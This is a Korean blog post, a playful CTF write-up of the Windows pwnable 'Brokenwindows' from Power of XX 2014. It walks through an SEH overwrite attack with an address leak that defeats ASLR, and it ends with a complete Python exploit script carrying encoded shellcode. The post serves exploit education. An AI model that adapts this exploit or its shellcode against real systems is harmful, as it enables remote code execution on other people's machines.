윈도우충 콘치가 에러를 만났을 때(feat. SEH) – 03

By conchi | December 20, 2016

SEH Overwrite Part #03




부제 : 는 훼이크 brokenwindow 롸업임 ㅋ


뭐 불만있냐? 덤벼라



안녕하세여 여러분. 오늘은 전보다 신식(?) 환경에서 문제를 풀어보며 SEH에 대해 조금 더 알아볼까 해요.

이번시간 우리와 함께해주실 문제님 모셔보겠습니다.


Power of XX 2014 Final – Brokenwindows

(출제자분의 정석 라이트업과 문제 바이너리는 이곳에 준비되어 있습니다.)




당부의 말씀

  • 그동안 보아온 라이트업과 달리 다소 괴랄할 수 있습니다.
  • 제가 문제를 그렇게 푸는것이니 오해는 마소서
  • 라이트업도 예외는 아닙니다.
  • 피쓰
  • 문제 제작자의 의도와는 다른 세상에 가 계실 수 있습니다.
  • 내 손에 문제가 들어온 이상 출제자의 의도는 생각하지 않습니다(?)
  • 문제 바이너리를 상세분석하고 있을지도 모름.. 급하면 넘어가주셈…ㄷㄷ..
  • 실제 대회에서는 리모트 환경으로 출제된 문제입니다.
  • 저의 경우 환경만들다가 너무 오랜시간 삽질했어요 ㅠㅠ..
  • 출제자님께 겁나 질척 거렸더니 천사같은 출제자님이 은총을 내려주셔서 ‘ㅅ’..a 데몬같은녀석을 받아썼습니다.




본격 문제풀이로 알아보는 SEH


ㅇㅅㅇ 하염
문제풀이를 하는 물꼬기의 모습은 다들 처음 보시겠군요
저도 처음봐염 껄껄 ‘ㅅ’..ㅋㅋㅋ
이 문제는 정말 특이(?)하게도 윈도우 바이너리에여!!
대회에서 보기힘든 윈도우즈 포너블입니다 ㅠㅠㅠ넘나 ㅠㅠㅠㅠㅠ 신나지만
나도 잘모르는것 ㅅ_ㅅㅎㅋ


  • 분석환경 : window 7 32bit
  • 준비물 : IDA, Ollydbg, 이뮤니티 디버거(얘는 순전히 mona를 쓰기위한용도)




문제 녀석은 32bit PE바이너리 입니다.

우선 요 바이너리에 어떤 보호기법이 걸려있는지부터 확인해봅시다.
저는 mona라는 플러그인을 사용해보았습니당 ‘ㅅ’ㅋ
(이뮤니티에서 돌아가는 파이썬으로 만들어진 플러그인 입니다.)



짜쟌!
이렇게 어떤 보호기법이 걸려있는지 나오네요.

위의 사진에서 나온대로 정리를 해보자면!


  • ASLR이 걸려있어 계속 주소가 바뀔 예정이고(캡쳐화면의 주소가 계속 바뀌어도 난모른다는 말)
  • safeSEH가 걸려있지 않아 SEH를 조작해서 뭔가를 할 수 있다는 의미가 되겠습니다.
  • NXCompat가 걸려있지 않다고 나오는데 얘는 DEP를 의미합니다. 스택영역에 쉘코드를 올려도 실행이 가능한 부분이라는 의미겠지여!


요렇게 되겠군용?
그러면 이런식의 공격 시나리오를 예상해 볼 수 있습니다.


예상 시나리오

  • 프로그램 어딘가에 데이터를 넣을만한 적당한 공간이 있다면 쉘코드를 올려버립니다. (왜냐하면 스택영역에 쉘코드를 올려놔도 실행이 가능하게끔 되어있기 때문
  • 예외처리가 발생할때 사용되는 주소를 쉘코드가 있는 주소로 바꿔버리면 쉘코드가 실행되는 부분 개꿀? 개이득?
  • ASLR이 걸려있으므로 주소들이 계속해서 역동적으로 움직일 계획이네요. 계산 잘해줘야할듯


ㅇ_ㅇㅎ.. 그럼 우리의 이런 찬란한 시나리오를 성공적으로 행동으로 옮기기 위하여 본격적으로 문제를 분석해보도록 합시다.





시작과 동시에 나타나는 부분입니다.
느낌상 첫번째 함수를 누르면 안에 스택쿠키가 들어있을것 같아요(불길)



은정답 ‘ㅅ’!
………… 넘어가버려야지

아 벌써부터 머리가 아프네요.
스택쿠키를 봐버리다니…
그냥 아래꺼 함수나 누를껄 -ㅅ-a

그래서 그냥 프로그램을 실행시켜보기로 했습니다 ‘0’(사실 이걸 먼저 해야하는게 맞습니다)
이 brokenwindow라는 프로그램이 어떻게 돌아가는지 구경부터 먼저 해봅시다.
어디에 input이 들어가는지도 체크해보구요 ‘ㅅ’..
(input이 있어야 우리가 공격 할 포인트도 있지 않겠어요? 호호?)



시작하면 요렇게 생겼어요. ‘제로데이마켓’이라네요.
거 나한테좀 싸게 파슈



1번을 선택한 화면입니다. 뭐 별거없네여.
그냥 문자들이 출력됩니다.
input들어가는 부분이 없으니 패스해줍시다.



2번을 누르면 나오는 부분입니다.
오 취약점의 이름과 팔고자 하는 제로데이의 디테일한 정보를 적는 부분이군요.
적고나면 아래쪽에 제가 적은 정보들을 출력해줍니다.
(띠링 콘치가 input을 발견했습니다.)
데이터의 input을 입력하는 부분이니 눈여겨 보도록 하고 넘어갑시다.



3번을 누른화면 입니다.
HELLO? 하고 물어보길래 아무거나 입력했더니 그대로 꺼져버리네요 –;;;
뭐지 –;;;;



여기에 약간의 빡침과 의문을 느낀 콘치는 IDA로 돌아와서 도대체 3번을 누르면 어떤 일들이 일어나는지 확인 해 보기로 했습니다.



그리고 여기서 취약점을 발견했어요 띠링띠링!
찾으셨나요?(는 주석을 달아버렸네 어이쿠;;;)

scanf같이 생겨먹은 sub_40167F 함수는 내가 얼마나 입력하는지 길이도 체크안하고 무작정 데이터를 입력받습니다.



뿌꿍!
아까 갑자기 꺼져버리던 부분에 어메이징한 갯수의 데이터를 넣었더니 이렇게 프로그램이 뻗어버리네요 꺄륵! 파!괴!한!다!

파괴의신 콘치가 프로그램을 부셨습니다.꺄르륵 !!
성공적으로 때려 부셔버렸네요 ! ‘0’!
이대로 끝내고 싶지만..끝이 아니에여…또륵..

근데 뭐 데이터좀 많이넣었다고 경고창이 뜨면서 난리브루스인지?

아까 제가 제일 처음에 열고 극혐했던 스택쿠키때문이에요 ㅂㄷㅂㄷ
리눅스에서의 스택캐너리(Stack Canary) 와 같은 개념이에요.

요 설명은 아래의 글을 참고해주세요.
(위에서 나왔던 DEP에 대한 개념도 여기에 다 있습니다.)


LINUX 환경의 메모리 보호기법을 알아보자(1)


ㅇㅇ 이렇기 때문에 지금 제가 쟤들이 어딘가에 길이를 분명 체크 해 뒀을텐데, 그걸 무시하고 스택쿠키영역에 내 데이터를 넣어버렸으니! 버퍼의 길이를 초과한 데이터를 감지한 스택쿠키는 바로 SEH한테 꼰질러서 에러를 띄운게 틀림없어요 .건방진녀석.

…네 이게 SEH의 역할입니다. ㅜㅜ 이렇게 에러를 잘 잡아내는데 얘를 이용해서 뭘하자구요?

지금 요 윈도우 OS 자체에서 SEH가 발동해 예외처리하는 창이 떴다는건 프로그램 자체에 예외처리를 하는 부분이 없다는 의미가 됩니다.

후후

이말인 즉슨, 예외 핸들러의 실제주소를 가리키는 포인터에 접근해서(SE포인터)

“너색기 우리 버퍼에 무슨짓을 한거야 디져볼텨?”

라고 말하고 있다는걸 동네방네 소문 내듯 보여주고 있는셈이죠. 그렇다면 우리는 이 포인터를 조작해서 아까 처음에 시나리오에서 말했던 공격을 실제 행동에 옮길 수 있다는 소리 되겠습니다.


예외처리가 발생할때 사용되는 주소를 쉘코드가 있는 주소로 바꿔버리면 쉘코드가 실행되는 부분 개꿀? 개이득?

이부분의 실현가능성이 30% 증가했습니다.




자 그러면 이제 소스코드를 열심히 분석해서 쉘코드를 넣을 공간과 쉘코드가 들어가는 주소를 찾을 방안을 마련 해 봅시다.



소스코드중 어딘가입니다….는 메인코드중에서 가장 처음 나오는 부분입니다.

누가봐도 구조체 스럽게 생겼네요.
뭔가 데이터가 쇽쇽 들어가고 함수도 들어갑니다.

엥 저건뭐지 눌러보니



그냥 아까 2번 누르고 데이터 다 넣어주고 나면 출력되던 부분이네요.
그곳의 주소를 담고 있는 부분인듯 합니다.
쓸데없이 왜이렇게 처리해놨지? 나같음 걍 문자열 바로 때려박았을텐데 좀 수상하지만 일단 넘어갑시다.



그리고 이 부분이 아까 input이 잔뜩 들어가던 문제적 2번을 눌렀을때의 동작입니다.
첫번째 인풋에는 300개의 데이터가, 두번째 인풋에는 500개의 데이터가 들어가서 메모리에 저장되는걸 확인할 수 있는 부분이네여.

두번째 인풋으로 들어가는 데이터는0x004151c0에 저장이 됨을 확인할 수 있어여.

하지만 IDA 자체적으로 잡는 Image Base Address가 0x00400000이라 실제 저장되는 부분은 랜덤으로 바뀌어 버린 Image Base의 시작주소로부터 0x000151c0만큼 떨어진 부분에 저장이 되겠군요.

귀찮게 자꾸 거리를 계산하려는 이유는


SLR이 걸려있으므로 주소들이 계속해서 역동적으로 움직일 계획이네요. 계산 잘해줘야할듯

이거 때문입니다.
다른이유는 없어영!
저도 넘나 귀찮아여!

음.. IDA로 분석할 수 있는건 다한거 같네여.
정리를 해보도록 하져.


[콘치의 깔끔한 정리]

  • 프로그램 자체의 예외처리가 없는듯 하다. 바로 OS에서 예외처리를 보냄.
  • 메인 프로그램으로 들어가기전에 구조체가 하나 있는데 마지막 항목이 좀 수상하다.
    • (문자열로 박아도 되는데 굳이 마무리 멘트가 들어있는 함수 주소가 들어있음)
  • 두번째 인풋은 전역변수word_4151c0에 들어갔다가 이동한다.
  • 두번째 인풋의 시작주소는 ASLR때문에 바뀌는 Image Base Address로부터 0x000151c0만큼 떨어진곳일 것이다.


그럼지금부터 디버거로 한번 데이터가 어떻게 쌓이는가 확인해봅시다 뾰롱!

저 맨날 IDA만써서 디버거같은건 쓸줄 모르는줄알았져?
ㅎㅎ 저 사실 디버거
개못씀 ㅎㅎㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅎㅎ;;




공격포인트 디버거로 찾기!

분명 시작할땐 이뮤니티 디버거였겠지만 끝은 아니란다.
저는 사실 이뮤니티보다는 올리가 편해요.
(-ㅅ-? 뭐 둘다 같은거 같은건 함정이지만 제 느낌상 올리디버거가 더 편하므로 올리를 써보겠습니다.)

뭐 무튼 저는 올리디버거를 써볼게요.
F8을 갈겨 프로그램이 시작하는 부분까지 가봅시다.
그러다보면 멈춰버리고 화면에서는 메뉴의 번호를 입력받는 부분이 뜹니다.

일단 어셈코드는 던져놓고 올리디버거로 OPEN한 프로그램에다가 2번을 입력하고는 300개, 500개의 데이터를 넣어줘봅시다.

이렇게 하고나서 어디 결과를 한번 볼까염?



오잉? 출력하는부분에 이상한 외계문자가 함께나오네요 저게모지 ‘ㅅ’? 딱히 나올게 없는데 흠냥흠냥 ‘ㅅ’… 저 문자를 복사해다가 파이썬으로 한번 확인해보도록 하져



저 이상한 문자는 701012였네요.
리틀엔디언일테니 원상복구를 해보자면0x121070입니다.

음.. 어디서 본거같은 느낌적인 느낌이 드는데…



ㅇㅇ 여기서 봤었다능
저부분의 주소가 leak되서 출력되버렸네요 ㄷㄷ;;
Base Address로부터 0x00001070만큼 떨어져 있는 녀석의 주소가 노출되버렸어요.
이렇게 우리는 Base Address를 찾을 수 있게 되었네요 !!
(이걸 찾아야 하는 이유는 쉘코드가 시작되는 주소를 알아야 하기 때문이에여)
그렇다면 이렇게 릭이 되어버린 주소에 0x00001070을 빼주면 리얼 Base Address가 출력되겠네요(두근)


0x00121070 - 0x00001070 = 0x00120000


이 프로그램의 시작주소는 0x00120000되겠습니다.
확인한번 해볼까여?



ㅇㅇㅎ 맞네염
자 그럼 Base Address로 부터 0x000151c0만큼 떨어진곳에 500개의 데이터(현재는 B를 500개 입력해둠)가 들어있겠군요?

어디 맞는가 확인해볼까염 ‘ㅅ’?


0x00120000 + 0x000151c0 = 0x001351C0



넘나 정확합니다! 꺄르륵! 헤헤!!

seh가 에러낼때 뛰는 주소를 저기로 바꿔주면 이제 끝이네여 ‘ㅅ’ㅋㅋㅋ
그럼이제 3번눌러가지고 bof내서 seh를 덮어볼까여?
음.. 얼마나 넣어줘야하는지 모르겠으니까 일단 겁내 때려박아볼게요 ㅅ_ㅅ



적절하게 900개의 C를 넣어보겠습니다 쿄쿄




SEH가 C(43)으로 덮힌게 보이네여 룰루룰루 :3
이제 저 위치를 계산해서 어디까지 덮어야 하고 어디를 주소로 바꿔줘야하는지 알아보도록 합시다 룰루 !

SE handler이라고 적혀있는 부분이 B가 있는 부분의 시작주소로 바뀌어야 합니다.

그러면 어디까지 덮어야 하는지 계산해보도록 하져


0x0028FCC8-0x0028FC54 = 116(10진수)


116개의 임의의 문자를 넣어주고 그다음에 오는게 B(500개)의 시작주소가 되면 넘나 완벽하게 쉘코드가 실행되겠네요 꺄륵! >_<!

네 SEH가 이렇게 무섭습니다 ㄷㄷ
그냥 에러만 뾱 띄워주는게 능사가 아니라 조건이 맞으면 이 주소를 조작할 수 있다는 거죠
이걸 조작해버리면 공격자가 원하는 코드를 실행시킬 수 있게 되는거지여.

아래는 3개월간 삽질로 얻은 눈물샘 폭발할 지경의 익스플로잇 코드입니다…ㅎ


//conex.py
import struct
from string import *
from socket import *
from time import *
up = lambda x:struct.unpack("<L",x)[0]
p = lambda x : struct.pack("<L",x)

#buf ="\xcc\xcc\xcc\xcc"
buf =""
buf += "\xda\xcd\xbe\x5f\x63\x57\x2c\xd9\x74\x24\xf4\x5f\x33\xc9"
buf += "\xb1\x30\x83\xef\xfc\x31\x77\x14\x03\x77\x4b\x81\xa2\xd0"
buf += "\x9b\xc7\x4d\x29\x5b\xa8\xc4\xcc\x6a\xe8\xb3\x85\xdc\xd8"
buf += "\xb0\xc8\xd0\x93\x95\xf8\x63\xd1\x31\x0e\xc4\x5c\x64\x21"
buf += "\xd5\xcd\x54\x20\x55\x0c\x89\x82\x64\xdf\xdc\xc3\xa1\x02"
buf += "\x2c\x91\x7a\x48\x83\x06\x0f\x04\x18\xac\x43\x88\x18\x51"
buf += "\x13\xab\x09\xc4\x28\xf2\x89\xe6\xfd\x8e\x83\xf0\xe2\xab"
buf += "\x5a\x8a\xd0\x40\x5d\x5a\x29\xa8\xf2\xa3\x86\x5b\x0a\xe3"
buf += "\x20\x84\x79\x1d\x53\x39\x7a\xda\x2e\xe5\x0f\xf9\x88\x6e"
buf += "\xb7\x25\x29\xa2\x2e\xad\x25\x0f\x24\xe9\x29\x8e\xe9\x81"
buf += "\x55\x1b\x0c\x46\xdc\x5f\x2b\x42\x85\x04\x52\xd3\x63\xea"
buf += "\x6b\x03\xcc\x53\xce\x4f\xe0\x80\x63\x12\x6e\x56\xf1\x28"
buf += "\xdc\x58\x09\x33\x70\x31\x38\xb8\x1f\x46\xc5\x6b\x64\xb8"
buf += "\x8f\x36\xcc\x51\x56\xa3\x4d\x3c\x69\x19\x91\x39\xea\xa8"
buf += "\x69\xbe\xf2\xd8\x6c\xfa\xb4\x31\x1c\x93\x50\x36\xb3\x94"
buf += "\x70\x55\x52\x07\x18\x9a"


host = ''
port = 1337
s = socket( AF_INET, SOCK_STREAM, 0 )
s.connect( (host, port ) )

raw_input()
print s.recv(4096)

## 2
s.send("2")
print s.recv(4096)

s.send("A"*300)
sleep(0.1)
print s.recv(4096)

bb = 500 - len(buf)
pay = buf + "B" * bb

s.send(pay)
sleep(0.1)

tmp =  s.recv(40960)
print tmp

a = tmp.split("A"*300)[1]
a = a[0:3] + "\x00"
#a = a[0:4]
print a.encode("hex")

a = up(a)
b = a - 0x1070
c = hex(b)

d = b + 0x151c0
print "Base Address : " + hex(b)
print "shellcode Address : " + hex(d)


# 3
s.send("3")
print s.recv(4096)
sehover = "C"*116 
sehover += p(d) # 120
sehover += "D"*5000
print sehover

s.send(sehover)
sleep(0.1)


s.close()


왕콘치의 손꾸락에 축복을!




+) 주석을 달아둔 부분은 상황에 따라 저 주석을 지우고 저 부분을 사용해야 하기 때문.
00AA0000 이런경우는 릭된 부분이 문자열을 3개만 긁어오기 때문에 상관없지만
01AA0000 이런 경우에는 앞에 01을 강제로 00으로 만들어버려서 이미지 베이스가 깨짐.
그럴땐 알아서 재주껏 아래에 있는 주석부분을 지우고 사용해야한다는 ㅎㅎ
참고로 ASLR걸려있어서 능력껏 고쳐야함 꺄륵!

그럼 난 이만!! ㅅ_ㅅ!!

comments powered by Disqus